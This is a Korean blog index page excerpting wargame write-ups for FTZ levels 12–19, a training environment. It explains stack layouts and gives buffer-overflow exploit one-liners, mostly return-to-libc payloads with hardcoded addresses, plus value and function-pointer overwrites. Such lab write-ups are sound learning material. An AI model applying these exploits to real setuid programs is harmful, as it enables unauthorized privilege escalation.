전체 글 (171) 썸네일형 리스트형 ftz level19 해당 문제 코드는 정말로 간단하다.그래서 일반적인 RTL 페이로드를 작성한 후에 실행하였더니 권한이 level20으로 올라가질 않는다.이유를 찾아봤더니 setreuid 함수가 없다.RTL 에서 setreuid 도 추가하여 RTL Chaining 기법으로 문제를 풀었다. (참고 - 일단 구조먼저 살펴보면str[20] + dummy[20] + sfp[4] + ret[4] 이다. 필요한 것1. system() 함수 주소 (0x4203f2c0)2. /bin/sh 함수 주소 (0x421273a4)3. pop_pop_ret gardget (setreuid 인자가 2개이므로 pop 이 두개다) (0x804849d)4. setreuid 함수 주소 (0x420d7920) 5. setreuid 인자3100 3100 이므로.. ftz level18 문제 보자마자 솔직히 넘 놀랐다. 코드가 너무 길어서 어려워보였다.. 게다가 군데군데 처음보는 함수들도 존재해서 겁먹었는데 분석해보면 완전 쉽다.일단 gdb로 보면check 값이 ebp-104에 존재하는데 string[100] 배열은 check 4byte 바로 위에 존재한다.그러면 이 check 값을 변조시키려면 0x8을 4번 넣으면 된다. 그 다음에 0xdeadbeef 값을 입력하면 간단하게 공격이 성공한다.(python -c 'print "\x08"*4+"\xef\xbe\xad\xde"';cat) | ./attackme ftz level17 gdb로 보면 ebp-56 주소부터 입력값을 넣는데 call() 부분에 들어가는 주소는 ebp-40부터다.RTL 해보려고 하면 fgets 가 48byte까지 밖에 입력을 안하므로 4byte(/bin/sh_addr)가 짤린다.그래서 그냥 쉘코드 넣고 call 주소 조작하려고 해보면 aslr 걸려있어서 안된다.이거 그냥 풀 수 있는 방법이 환경변수 빼면 없는거 같은데 로컬에서밖에 풀 수 없는 환경변수 풀이는 개인적으로 싫어해서 그냥 넘어간다. ftz level16 (python -c 'print "A"*40 + "\xd0\x84\x04\x08"';cat) | ./attackmeshell 함수 주소를 printit 주소값 에 덮어씌워서 쉘을 따면 된다. ftz level15 간단한 오버플로우지만 여기서 주의깊게 봐야할 점은 *check 포인터다.check 변수는 값대신 주소가 저장되어 있으므로 해당 주소로 가서 값을 불러온다.그렇기 때문에 check 포인터에는 0xdeadbeef 값이 들어있는 주소값을 덮어주어야한다.(python -c 'print "A"*40 + "\xb2\x84\x04\x08"';cat) | ./attackmex/20x main 보면 deadbeef 값이 0x80484b2 에 있는걸 확인했고 위와 같이 공격하였다. ftz level14 어째 갑자기 급 쉬워진 분위기다. fgets로 45 만큼 입력받는데 정작 배열 크기는 20이다.디버깅해보면 0x38(56) 만큼 할당해주는데 deadbeef와 비교하는 부분은 ebp-16 부터다. ebp-56 이 입력받은 문자열 시작 지점이므로 (python -c 'print "A"*40 + "\xef\xbe\xad\xde"';cat) | ./attackme이런식으로 해주면된다. ftz level13 ftz level13문제다 보면 buf위에 0x1234567 저장해놓고 만약 오버플로우로 이부분을 침범하면 경고를 표시하면서 프로그램을 종료시킨다. gdb로 디버깅 해보면 0x418(1048) 만큼 스택을 할당해주는데 구조를 보면str[1024] + garbage[12] + 0x01234567[4] + dummy[8] + sfp[4] + ret[4] 이렇게 저장되어있다.그렇다면 0x1234567 가 들어있는 주소에는 익스코드 자체에서 \x67\x45\x23\x01 넣어줌으로써 경고를 우회할 수있다../attackme `python -c 'print "A"*1036 + "\x67\x45\x23\x01" + "A"*12 + "\xc0\xf2\x03\x42" + "AAAA" + "\xa4\x7e\x12\x42.. ftz level12 level11이랑 거의 똑같다. 이번엔 level11처럼 argv로 입력받는 방식이 아닌 gets로 입력받는다.gets에서 버퍼오버플로우가 터지므로 level11과 비슷하게 익스 짜주면 된다.해당 문제도 마찬가지로 str[256] + dummy[8] + sfp[4] + ret[4] 로 구성되어 있으므로 (python -c 'print "A"*268 + "\xc0\xf2\x03\x42" + "AAAA" + "\xa4\x7e\x12\x42"';cat) | ./attackme마찬가지로 ASLR 기법이 걸려있으므로 RTL 기법으로 문제를 풀었다. 이전 1 ··· 6 7 8 9 10 11 12 ··· 22 다음